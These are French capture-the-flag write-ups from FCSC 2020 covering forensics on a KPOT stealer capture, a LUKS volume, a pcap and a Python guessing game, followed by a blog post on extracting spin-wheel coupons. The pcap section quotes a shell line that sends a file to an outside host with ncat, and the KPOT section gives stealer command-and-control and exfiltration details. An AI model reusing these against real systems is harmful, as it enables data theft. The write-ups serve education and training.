Rrg130ECgYEA5Eyu3hb9n4NVW4RKzxzxN5Wtyil/LW4ygaQrJhSWHUAF7AyvPyxv
LOi/He7Qs+98W56ITyqLDkq9t4z6EA472mitQSvklvp/gFJfB58OO16WRRoTK5TO
HwdphTX8aWNb+Pg/zp1AHnyt+57O4AH471ld3AB5q4o/gKJ2MpSp6mUCgYEA8Thg
kA0MLj005ZDqIUMfaGMWeyWN3oIrUvij/Q855+leMnUVfdDJzgbl+6nLIuXbSQny
5relp3UukS0rXfFIYUVD1738EXO1EZ+yGDpvNqfC0xhN8MUfcIybxR2VqFqejLFL
aiqEdizYT0ewgYQCRfCF+AxtpwxNLLJbgXD9bhcCgYEAjQfF+pJPSMvT3f4CTKF/
bav8OOeblc/+SVHGCfcrqJQVVHWdiLQFVcPN1ErkCFPICb0MTYNldYW8XvgqveJd
HRYO+TSJOK80NmwsIkQigZBz2eo6r3B0SHzGtbDc5amodku89wDzTCIPRGIdQApX
4lvdfHuardpwUiGKTMLDmHUCgYEA7SRcoiGBoQ+hKjMOSccAYJJRbp2b3G0iBH7W
URmf9uORLI+4oikZzEcx3/ir8NICg8qZFsLiwz9LmYPLh56GZsI+kSGAZvPWxc22
u2TvIs9IlFjnftV8NBy3otCT6Z+1EWHXXzcPZFJwEXjMCHfr+DAetJ4bSseoM1Hg
7d9T9t8CgYEAhtlM7mVhwRmp1XSb1cr2gysGtCD+RSno4/rhTyiOYy90wzpcmvWe
Dg3F/qBMAM57pBkXWa8TOgOPVPVgOS7ZBrN81pAGQXfzk+F6AUHBj/5MiDnb3nGe
WNFJUICyWk9pi7j+Y9RCPTdhqEz/tplM9FHgRKppeT+BpGE9JukEUmQ=
-----END RSA PRIVATE KEY-----


```

J'essaye de déchiffrer le fichier avec la clé trouvée :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/rsakeyfind-master# openssl rsautl -decrypt -inkey THEKEY.txt -in flag.txt.enc -out flag.txt && cat flag.txt
FCSC{ac5cad66114d4866a4b55e43cb8896cc4947855241b5af8d2f8a123c36083d98}
```


# Chapardeur de mots de passe

### Énoncé : <a href="#enonce" id="enonce"></a>

Un ami vous demande de l'aide pour déterminer si l'email qu'il vient d'ouvrir au sujet du Covid-19 était malveillant et si c'était le cas, ce qu'il risque.

Il prétend avoir essayé d'ouvrir le fichier joint à cet mail sans y parvenir. Peu de temps après, une fenêtre liée à l'anti-virus a indiqué, entre autre, le mot KPOT v2.0 mais rien d'apparent n'est arrivé en dehors de cela.

Après une analyse préliminaire, votre ami vous informe qu'il est probable que ce malware ait été légèrement modifié, étant donné que le contenu potentiellement exfiltré (des parties du format de texte et de fichier avant chiffrement) ne semble plus prédictible. Il vous recommande donc de chercher d'autres éléments pour parvenir à l'aider.

Vous disposez d'une capture réseau de son trafic pour l'aider à déterminer si des données ont bien été volées et lui dire s'il doit rapidement changer ses mots de passe !

[pws.pcap.zip \~500Mo](https://drive.google.com/file/d/1C3jwyYh5TaY44UKmVMjR1_9ciIYFVRR5/view?usp=sharing)

### Étape 1 - Recherche sur le malware <a href="#etape-1-recherche-sur-le-malware" id="etape-1-recherche-sur-le-malware"></a>

Pour commencer, nous téléchargeons la capture de trames de \~500Mo. Cela nous laisse le temps de chercher quelques informations sur le malware KPOT v2.0.

Je tombe sur 2 sites :

* <https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal>
* <https://labs.sentinelone.com/info-stealers-how-malware-hacks-private-user-data/>

On apprend que le malware contamine les victimes généralement par des attaques phishing à partir de la pièce jointe. Kpot utilise http pour agîr, il communique avec un serveur distant pour l'informer de l'infection d'un poste.

Il envoie une requête GET à destination d'un serveur de ce type: `http://lesitemalveillant.ru/lmpUNlwDfoybeulu/gate.php`

La réponse du serveur est encodé en base64 et XOR'd avec une clé stocké sous forme de chaîne. Voici un exemple d'échantillon déja analysé :

```
1111111111111100__DELIMM__A.B.C.D__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRABBER__1024__DELIMM__desktop_txt__GRABBER__*.txt,__GRABBER__%userprofile%\Desktop__GRABBER__0__GRABBER__150__DELIMM____DELIMM____DELIMM__
```

Les données contenu dans cette réponse sont délimitées par "*DELIMM*" et sont réparties selon le type de données suivant :

* Une chaîne de bit indiquant les commandes à éxécuter
* L'adresse ip de la victime
* Les règles GRABBER précisant les fichiers à rechercher et exfiltrer

Le premier composant de la réponse ci dessus est une chaîne de 16 bits. Chaque 1 active une fonctionnalité, 0 la désactive. Voici une liste de quelques fonctionnalités :

* Voler les cookies, les mots de passe de Chrome
* Voler les cookies, les mots de passe de Firefox
* Voler les cookies, les mot de passe d'Internet Explorer
* Voler les comptes Skype
* Voler les comptes de Télégram
* Voler des comptes Discord
* Volez les comptes Steam
* Prendre une capture d'écran
* Voler divers comptes clients FTP
* Se supprimer lui même
* Récupérer un fichier en fonction de son extension, sa taille, son path

Enfin ! La capture de trames est téléchargé. Maintenant que nous avons une vision sur le fonctionnement général du malware, commençons à l'analyser !

### Étape 2 - La communication post-infection <a href="#etape-2-la-communication-post-infection" id="etape-2-la-communication-post-infection"></a>

Vu le contexte du challenge, je commence par chercher des trames en rapport avec la pièce jointe télécharger par notre ami, mais RAS.

Je passe donc à la recherche de la requête GET envoyé au serveur malveillant sur le fichier ciblé "gate.php".

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# tshark -r pws.pcap http.request.method == "GET" |grep -iH 'gate.php'
2656  37.377541 192.168.4.129 → 198.54.117.197 HTTP 217 GET /lmpUNlwDfoybeulu/gate.php HTTP/1.1 
3251  39.543285 192.168.4.129 → 104.27.140.49 HTTP 218 GET /o96xEVtEmxfoYNxf/gate.php HTTP/1.1 
6138  41.601461 192.168.4.129 → 185.25.51.81 HTTP 217 GET /WjXxdpfqDyEE45gr/gate.php HTTP/1.1 
7174  44.655584 192.168.4.129 → 203.0.113.42 HTTP 230 GET /Ym9ubmVfcGlzdGVf/gate.php HTTP/1.1
```

On tombe sur 4 requêtes, voyons voir la quelle à répondu par OK à cette demande !

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# tshark -r pws.pcap http.response |egrep '(198.54.117.197|104.27.140.49|185.25.51.81|203.0.113.42)'
 2658  37.533943 198.54.117.197 → 192.168.4.129 HTTP 380 HTTP/1.1 403 Forbidden  (text/html)
 3253  39.548535 104.27.140.49 → 192.168.4.129 HTTP 530 HTTP/1.1 403 Forbidden  (text/plain)
 6186  41.650472 185.25.51.81 → 192.168.4.129 HTTP 1460 HTTP/1.1 404 Not Found  (text/html)
 7176  44.656395 203.0.113.42 → 192.168.4.129 HTTP 603 HTTP/1.1 200 OK  (text/html)
11616  47.662486 203.0.113.42 → 192.168.4.129 HTTP 267 HTTP/1.1 200 OK  (text/html)
```

Le serveur en 203.0.113.42 a l'air d'être le bon candidat.

Récupérons le contenu de sa réponse :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# tshark -r pws.pcap -T fields -e http.file_data frame.number eq 7176
RHVdQ1V8BFVHAgRSAGNZRisbKDYoBXgpKW0HUgl8WUZMal1HXWIGU0Vtaid0HiE7ORszEhQ8UQUCU2o8dgApNDYBPiw7ZhsIGVUZSR8mEAJYGzM0Ng13JjNgajwUMxgGECUYEkETaiMkc3chdAA3KUQbMzQ2DXcmM2BqPABiWkIrGyg2KAV4KSltUQZCORwZBBsYCxATaiMkc3chdAA3KV5qGAsQYGo7MWB0IXMXOikrYRkAAT5FFhlUXA9UdzQyETcHBws8ajsxYHQhcxc6KSt0MywjHnQmNHdnPG5iNykwASA6KQFqOyltcSZ9GyU7KxszLCAJeS07f2o8
```

D'après la documentation sur le malware, les données ont été encodé en base64 puis XOR'd à l'aide d'une clé, cependant nous n'avons pas cette clé...

### Étape 3 - La clé XOR <a href="#etape-3-la-cle-xor" id="etape-3-la-cle-xor"></a>

Quelques types d'attaques sont connues avec XOR :

* plaintext ⊕ key = encrypted\_text
* encrypted\_text ⊕ plaintext = key
* encrypted\_text ⊕ key = plaintext

Ici nous avons des données chiffrées, pas de clé, mais nous connaissons les potentiels données qui pourraient se trouver à l'intérieur (GRABBER, DELIM etc...).

Après quelque recherche je trouve un tool capable de gérer cette attaque :

* <https://blog.didierstevens.com/2017/06/06/update-xor-kpa-py-version-0-0-5/>.

La description de son fonctionnement est ici :

* <https://isc.sans.edu/forums/diary/Malware+and+XOR+Part+1/22486/>
* <https://isc.sans.edu/forums/diary/Malware+and+XOR+Part+2/22490/>

Il ne reste plus qu'à tester !

L'outil xor-kpa.py prend 2 fichiers en entrée :

Le premier fichier contient le texte en clair, et le second le fichier encodé.

Dans son exemple, Monsieur Didier Stevens recherche la chaîne "This program cannot be run in DOS mode" contenu généralement dans les éxécutables.

Son programme est d'ailleurs adaptés pour travailler avec cette chaîne, mais nous cela ne nous intéresse pas.

Notre texte en clair est composé de :

```
1111111111111100__DELIMM__A.B.C.D__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRABBER__1024__DELIMM__desktop_txt__GRABBER__*.txt,__GRABBER__%userprofile%\Desktop__GRABBER__0__GRABBER__150__DELIMM____DELIMM____DELIMM__
```

Prenons un échantillon !

Je décide de modifier le script xor-kpa.py :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# grep -inH --color 'dos' xor-kpa.py 
xor-kpa.py:42:dPlaintext = {'dos': 'This program cannot be run in DOS mode'}
```

Je remplace `This program cannot be run in DOS mode` par `GRABBER__0__GRABBER__1024`

Le script ne prend pas en compte l'encodage base64, je décode donc la chaîne

```
onosh@kali#:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# base64 -d enc.b64 >ciph.txt
```

Je lance le script en indiquant que nous recherchons le plaintext contenu dans la variable dos dans le contenu du fichier cipher.txt

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# ./custom.py -n dos ciph.txt 
Key:       '!\x053s2Uxly>F0^a\x02DX\x16\x1eJ\x06(k\x03'
Key (hex): 0x210533733255786c793e46305e61024458161e4a06286b03
Extra:     1
Divide:    1
Counts:    1
Keystream: '3s2Uxly>F0^a\x02DX\x16\x1eJ\x06(k\x03!\x053'

Key:       'f+lMSn\x10G@\x168c)1\x19\x06\x02?+e6[sd'
Key (hex): 0x662b6c4d536e10474016386329311906023f2b65365b7364
Extra:     1
Divide:    1
Counts:    1
Keystream: '\x02?+e6[sdf+lMSn\x10G@\x168c)1\x19\x06\x02'

Key:       tDlsdL5dv25c1Rhv
Key (hex): 0x74446c73644c35647632356331526876
Extra:     9
Divide:    1
Counts:    1
Keystream: dv25c1RhvtDlsdL5dv25c1Rhv

```

Nous voilà maintenant avec 3 clés !

D'après les deux sites que l'on a vu au début expliquant le fonctionnement du malware, la clé fait généralement 16 bits, oh ! comme la dernière :)

La clé XOR serait donc : tDlsdL5dv25c1Rhv 🍀

Nous retrouvons donc bien le texte en clair en utilisant cette clé :

```
0110101110111110__DELIMM__218.108.149.373__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRABBER__1024__DELIMM__desktop_txt__GRABBER__*.txt,__GRABBER__%userprofile%\Desktop__GRABBER__0__GRABBER__0__DELIMM____DELIMM____DELIMM__
```

Maintenant analysons la requête POST envoyé au serveur, cette requête exfiltre les données en utilisant la clé XOR.

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# tshark -r pws.pcap http.request |egrep '203.0.113.42'
11614  47.662486 192.168.4.129 → 203.0.113.42 HTTP 267 HTTP/1.1 200 POST  (text/html)
```

```
onosh@kali:/home/onosh/FCSC/FORENSIC/CHAPARDEUR# tshark -r pws.pcap -T fields -e http.file_data frame.number eq 11614
```

Nous récupérons le résultat en hexa :

```
2b003e3234097431296249164260181301363d06017e78501a13154363661b0501365f09491a5a10045718225c63453300691a1c552f04321946470655205c061125192c220f66277c49015508375047427c5b425c750c5213510d50506b5a1717205a15017a575d1502060007310d1246255f125329020544020d5a53675b4216250d165d7b54530b386a2763133833351133
```

Même manipulation que toute à l'heure pour déchiffrer les données

```
_DRAPEAU_P|us2peurQue2M4l!  R4ssur3z-Votre-Am1-Et-vo1c1Votredr4peau_FCSC
{469e8168718996ec83a92acd6fe6b9c03c6ced2a3a7e7a2089b534baae97a7}
_DRAPEAU_
```


# Find Me

### Énoncé <a href="#enonce" id="enonce"></a>

Vous avez accès à un fichier find\_me qui semble renfermer un secret bien gardé, qui n'existe peut-être même plus. Retrouvez son contenu !

[find\_me](https://onosh.github.io/ctf/fcsc2020/download/find_me.dd)

### Étape 1 - Analyse du fichier <a href="#etape-1-analyse-du-fichier" id="etape-1-analyse-du-fichier"></a>

Le fichier find\_me semble être une partition système :

```
onosh@kali:/home/onosh/FCSC/FORENSIC/FINDME# file find_me
find_me: Linux rev 1.0 ext4 filesystem data, UUID=9c0d2dc5-184c-496a-ba8e-477309e521d9, volume name "find_me" (needs journal recovery) (extents) (64bit) (large files) (huge files)
```

Je décide de monter la partition :

```
root@siftworkstation -> /h/bsi 
# mkdir /mnt/fcsc && mount /home/bsi/vms-share/fcsc2/find_me /mnt/fcsc
root@siftworkstation -> /h/bsi 
# ls /mnt/fcsc/
lost+found  pass.b64  unlock_me
```

2 fichiers et 1 dossiers apparaissent.

```
root@siftworkstation -> /m/fcsc 
# file *
lost+found: directory
pass.b64:   ASCII text
unlock_me:  LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: 220745be-23df-4ef8-bff0-a36ab5cd1eff
```

* lost+found est un dossier, actuellement vide, il permet habituellement de récupérer des fichiers supprimés sous linux
* pass.b64 est un fichier texte :

```
root@siftworkstation -> /m/fcsc 
# cat pass.b64 
nothing here. password splited!
```

On apprend que le mot de passe a été séparé en plusieurs morceaux. - unlock\_me est un volume chiffré Luks

### Étape 2 - Récupération des fichiers <a href="#etape-2-recuperation-des-fichiers" id="etape-2-recuperation-des-fichiers"></a>

Pour récupérer les fichiers potentiellement supprimé sur la partition j'ai utilisé le très efficace [Autopsy](https://www.sleuthkit.org/autopsy/).

Il suffit d'importer la partition find\_me dans le logiciel :

![](https://i.imgur.com/q6fcWgd.png)

On voit rapidement que des fichiers ont été supprimés :

![](https://i.imgur.com/oC02FGO.png)

Chaque fichier partXX contient deux caractères :

![](https://i.imgur.com/MlVaiux.png)

Le fichier pass.b64 disait **nothing here. password splited!** , si on reconstitue une chaine grâçe aux caractères on obtient quelque chose qui ressemble étrangement à du base64

`TWYtOVkyb01OWm5IWEtzak04cThuUlRUOHgzVWRZ`

Rappelons nous, le nom du fichier contenu dans la partition find\_me était `pass.b64`

### Ouverture du volume Luks <a href="#ouverture-du-volume-luks" id="ouverture-du-volume-luks"></a>

J'essaye d'ouvrir le volume Luks avec la clé en base64, mais cela échoue :

```
root@siftworkstation -> /m/fcsc
# cryptsetup luksOpen unlock_me BRIOCHE
Enter passphrase for unlock_me: TWYtOVkyb01OWm5IWEtzak04cThuUlRUOHgzVWRZ
Bad passphrase !
```

J'essaye d'ouvrir le volume Luks avec la clé décodé, yes ! `Mf-9Y2oMNZnHXKsjM8q8nRTT8x3UdY`

```
root@siftworkstation -> /m/fcsc
# cryptsetup luksOpen /unlock_me BRIOCHE
Enter passphrase for /unlock_me: Mf-9Y2oMNZnHXKsjM8q8nRTT8x3UdY
root@siftworkstation -> /m/fcsc 
# mkdir /mnt/flag
root@siftworkstation -> /m/fcsc 
# mount /dev/mapper/BRIOCHE /mnt/flag/
root@siftworkstation -> /m/fcsc 
# ls /mnt/flag/
root@siftworkstation -> /m/fcsc 
# ls -Al /mnt/flag/
total 0
-r-------- 1 root root 70 Apr  1 19:54 .you_found_me
root@siftworkstation -> /m/fcsc
# cat /mnt/flag/.you_found_me
FCSC{750322d61518672328c856ff72fac0a80220835b9864f60451c771ce6f9aeca1}
```


# Cap ou pcap ?

### Énoncé <a href="#enonce" id="enonce"></a>

Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.

Le flag est présent dans le contenu du fichier.

[cap.pcap](https://onosh.github.io/ctf/fcsc2020/download/cap.pcap)

### Analyse de la capture <a href="#analyse-de-la-capture" id="analyse-de-la-capture"></a>

En ouvrant la capture nous remarquons des échanges TCP entre 2 hôtes.

Au bout de la trame 6, des informations relatives à un système linux apparaissent, j'ouvre le flux TCP sur cette trame.

```
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
```

La commande pour l'échange du fichier est :

`xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200`

On regarde rapidement le manuel de xxd sous linux :

```
xxd
-p output in postscript plain hexdump style
```

La commande récupere le hexdump de flag.zip, supprime les retours à la ligne avec tr et transfert le fichier avec ncat.

Cherchons les données du fichiers dans les trames, notamment la trame la plus "grosse".

La trame 27 contient les données relatives à l'échanges :

```
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
```

Il ne reste plus qu'à faire le processus inverse.

```
onosh@kali:/home/onosh/FCSC/CRYPTO# xxd -r -p flag.hex >flag.zip && unzip flag.zip flag.txt && cat flag.txt
Archive:  flag.zip
  inflating: flag.txt                
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
```


# Randomito

### Énoncé

Pourrez-vous deviner le secret aléatoire généré ?

[randomyto.py](https://onosh.github.io/ctf/fcsc2020/download/randomyto.py)

### Analyse du script <a href="#analyse-du-script" id="analyse-du-script"></a>

```
#!/usr/local/bin/python2

import sys
import signal
from random import randint

# Time allowed to answer (seconds)
DELAY = 10

def handler(signum, frame):
   raise Exception("Time is up!\n")

def p(s):
    sys.stdout.write(s)
    sys.stdout.flush()

def challenge():

    for _ in range(10):
        p("[+] Generating a 128-bit random secret (a, b)\n")
        secret_a = randint(0, 2**64 - 1)
        secret_b = randint(0, 2**64 - 1)
        secret   = "{:016x}{:016x}".format(secret_a, secret_b)
        p("[+] Done! Now, try go guess it!\n")
        p(">>> a = ")
        a = int(input())
        p(">>> b = ")
        b = int(input())
        check = "{:016x}{:016x}".format(a, b)
        p("[-] Trying {}\n".format(check))
        if check == secret:
            flag = open("flag.txt").read()
            p("[+] Well done! Here is the flag: {}\n".format(flag))
            break
        else:
            p("[!] Nope, it started by {}. Please try again.\n".format(secret[:5]))

if __name__ == "__main__":
    signal.alarm(DELAY)
    signal.signal(signal.SIGALRM, handler)
    try:
        challenge()
    except Exception, e: 
        exit(0)
    else:
        exit(0)
```

Le script génère deux secrets, secret\_a et secret\_b Ils contiennent un nombre compris entre 1 et 2^64-1

```
secret_a = randint(0, 2**64 - 1)
secret_b = randint(0, 2**64 - 1)
```

Ils sont ensuite converti en héxadécimal et concaténé.

```
secret   = "{:016x}{:016x}".format(secret_a, secret_b)
```

On voit aussi qu'il y a un délais pour trouver le secret

```
DELAY = 10
if __name__ == "__main__":
    signal.alarm(DELAY)
    signal.signal(signal.SIGALRM, handler)
```

### Debug <a href="#debug" id="debug"></a>

J'ai ajouté un délais plus large + print des secrets

```
#!/usr/local/bin/python2

import sys
import signal
from random import randint

# Time allowed to answer (seconds)
DELAY = 1000000000

def handler(signum, frame):
   raise Exception("Time is up!\n")

def p(s):
    sys.stdout.write(s)
    sys.stdout.flush()

def challenge():

    for _ in range(10):
        p("[+] Generating a 128-bit random secret (a, b)\n")
        secret_a = randint(0, 2**64 - 1)
                print(secret_a)
                secret_b = randint(0, 2**64 - 1)
                print(secret_b)
        secret   = "{:016x}{:016x}".format(secret_a, secret_b)
        print(secret)
                p("[+] Done! Now, try go guess it!\n")
        p(">>> a = ")
        a = int(input())
        p(">>> b = ")
        b = int(input())
        check = "{:016x}{:016x}".format(a, b)
        p("[-] Trying {}\n".format(check))
        if check == secret:
            #flag = open("flag.txt").read()
            flag = "OK FLAG"
                        p("[+] Well done! Here is the flag: {}\n".format(flag))
            break
        else:
            p("[!] Nope, it started by {}. Please try again.\n".format(secret[:5]))

if __name__ == "__main__":
    signal.alarm(DELAY)
    signal.signal(signal.SIGALRM, handler)
    try:
        challenge()
    except Exception, e: 
        exit(0)
    else:
        exit(0)
```

Si on test une éxécution :

```
onosh@kali:/home/onosh/FCSC/MISC# python randomito.py
[+] Generating a 128-bit random secret (a, b)
16141621770963719195
12208871211096206965
e0028f7a8d01141ba96e9fae5de1ee75
[+] Done! Now, try go guess it!
>>> a = 16141621770963719195
>>> b = 12208871211096206965
[-] Trying e0028f7a8d01141ba96e9fae5de1ee75
[+] Well done! Here is the flag: OK FLAG
```

Mais alors comment trouver le secret en 10 secondes ? Simplement en lui donnant ce qu'il attend :

```
onosh@kali:/home/onosh/FCSC/MISC# python randomito.py
[+] Generating a 128-bit random secret (a, b)
6141270817308741848
5049640784231285106
553a2d453f2910d84613ed8a036e4172
[+] Done! Now, try go guess it!
>>> a = secret_a
>>> b = secret_b
[-] Trying 553a2d453f2910d84613ed8a036e4172
[+] Well done! Here is the flag: OK FLAG
```

Il n'y a plus qu'à tester en réel :

```
onosh@kali:/home/onosh/FCSC/MISC# nc challenges2.france-cybersecurity-challenge.fr 6001
[+] Generating a 128-bit random secret (a, b)
[+] Done! Now, try go guess it!
>>> a = secret_a
>>> b = secret_b
[-] Trying d955218681608306fc0e9b492dbdda1c
[+] Well done! Here is the flag: FCSC{4496d11d19db92ae53e0b9e9415d99d877ebeaeab99e9e
```


# Le rat conteur

### Énoncé <a href="#enonce" id="enonce"></a>

Le fichier suivant a été chiffré en AES-128 en mode CTR, avec la clé de 128 bits 00112233445566778899aabbccddeeff et un IV nul.

À vous de le déchiffrer pour obtenir le flag.

[flag.jpg.enc](https://onosh.github.io/ctf/fcsc2020/download/flag.jpg.enc)

### Déchiffrement <a href="#dechiffrement" id="dechiffrement"></a>

Cette commande permet de déchiffrer le fichier flag.jpg.enc à partir de la clé de donnée. L'IV doit avoir la même longueur que la clé pour que le déchiffrement fonctionne.

```
```

```
openssl enc -d -aes-128-ctr -K 00112233445566778899aabbccddeeff -iv 00000000000000000000000000000000 -in flag.jpg.enc -out flag.jpg
```

![](https://onosh.github.io/ctf/fcsc2020/image/flag.jpg)


# Tools


# For Fun


# Marketing, that good liar !

Qui n'a jamais rêvé de gagner à chaque fois aux jeux concours en ligne ?

Ils prennent souvent diverses apparences, la plupart du temps des quiz avec des questions de cultures générales, des questions sur une entreprise, ou des roues de la fortune qui termine la plupart du temps sur "Perdu".

Je me suis intéressé à la société wisepops.com qui propose ce genre de produit à de nombreuses entreprises.&#x20;

<figure><img src="/files/Ld507aXTNDwmN6N1CqKP" alt=""><figcaption></figcaption></figure>

La société propose plusieurs type de "pop-ups", notamment la "spin-win".

<figure><img src="/files/mKQ3y3vRBu66z6m7PBAw" alt=""><figcaption></figcaption></figure>

Pour 150€ par mois, vous pouvez utiliser la totalité des fonctionnalités du site.

<figure><img src="/files/gvNi0V7eAqYyAjQlonfu" alt="" width="375"><figcaption></figcaption></figure>

Dans la version gratuite, il est envisageable d'explorer les options de configuration de ce type de roue. On réalise rapidement qu'elles peuvent être ajustées de manière à réduire considérablement les chances des utilisateurs. En effet, grâce au système de pourcentage de chance par prix, il devient possible d'attribuer un taux de défaite de 100% à l'utilisateur, dans le seul but de collecter les adresses e-mail des participants pour des campagnes marketing.

<figure><img src="/files/tNfEt29nkFg6STTSSEJW" alt=""><figcaption></figcaption></figure>

De plus, avec les règles d'apparitions, il est possible d'optimiser la récupération des emails des visiteurs.

<figure><img src="/files/C0vYzG5w284RiYpqNBTg" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/qZNX6qTgTb062ozSrAQM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/hKQfnSY4p0HILNccwUIF" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/KYIqMvQEexX0Wi42dOom" alt="" width="563"><figcaption></figcaption></figure>

J'ai étudié la sécurité des codes de réduction que les visiteurs peuvent gagner via les roues.

En créant ma propre roue, j'ai découvert que la sécurité des codes laissait grandement à désirer.

<figure><img src="/files/b4Yoz1u3p52PgUFOFyRC" alt=""><figcaption></figcaption></figure>

L'implémentation de la roue passe par le simple ajout d'un script javascript sur mon site avec un loader.js qui prend en paramètre la référence de ma campagne de marketing.

<figure><img src="/files/5qzpIvDnVGbsDp5I5NfV" alt=""><figcaption></figcaption></figure>

La roue est générée avec un code JS à partir du loader. Le code est obfusqué et minimisé.

<figure><img src="/files/UZRxSJYgzsG68pM8bvzP" alt=""><figcaption></figcaption></figure>

Cependant, il est simple d'identifier les codes gagnants de ma roue en analysant ce script javascript.

<figure><img src="/files/gxWGNavsE1psuAvNcTyz" alt=""><figcaption></figcaption></figure>

Étant donné que wisepops.com met en avant avec fierté ses clients, j'ai décidé de vérifier sur divers sites, si le chargement des roues était plus sécurisé qu'avec mon abonnement gratuit. Malheureusement, il s'avère que la récupération des codes gagnants est très simple. Concrètement, on constate que dans la plupart des cas, les boutiques en ligne qui utilisent ce type de jeu-concours ne laissent aucune chance à leurs visiteurs. À titre d'exemple, ci-dessous figurent les prix, les coupons et les probabilités de gain sur la roue d'une boutique en ligne spécialisée dans les bijoux français.

<figure><img src="/files/Krs1OQGQu6BgEbopw3gd" alt="" width="364"><figcaption></figcaption></figure>

<figure><img src="/files/RiqbhBYSHdVBe8gyrzaA" alt=""><figcaption></figcaption></figure>

On se rend très rapidement compte, que l'utilisateur à 100% de chance de ne rien gagné.

```json
"spinWheel": {
    "slices": [
        {
            "prize": "Perdu",
            "coupon": "À bientôt !",
            "order": 1,
            "chance": "50"
        },
        {
            "prize": "Perdu",
            "coupon": "À bientôt !",
            "order": 2,
            "chance": "50"
        },
        {
            "prize": "500€ de bijoux",
            "coupon": "À bientôt !",
            "order": 3,
            "chance": "0"
        },
        {
            "prize": "50€ de bijoux",
            "coupon": "À bientôt !",
            "order": 4,
            "chance": "0"
        },
        {
            "prize": "Tote bag",
            "coupon": "À bientôt !",
            "order": 5,
            "chance": "0"
        },
        {
            "prize": "100€ de bijoux",
            "coupon": "À bientôt !",
            "order": 6,
            "chance": "0"
        }
    ]
}

```

Pour conclure, une entreprise qui vend des popups marketing non sécurisée et d'autres qui cherchent simplement à construire une base de données en mentant à leurs clients.

Vive les jeux en ligne :duck:


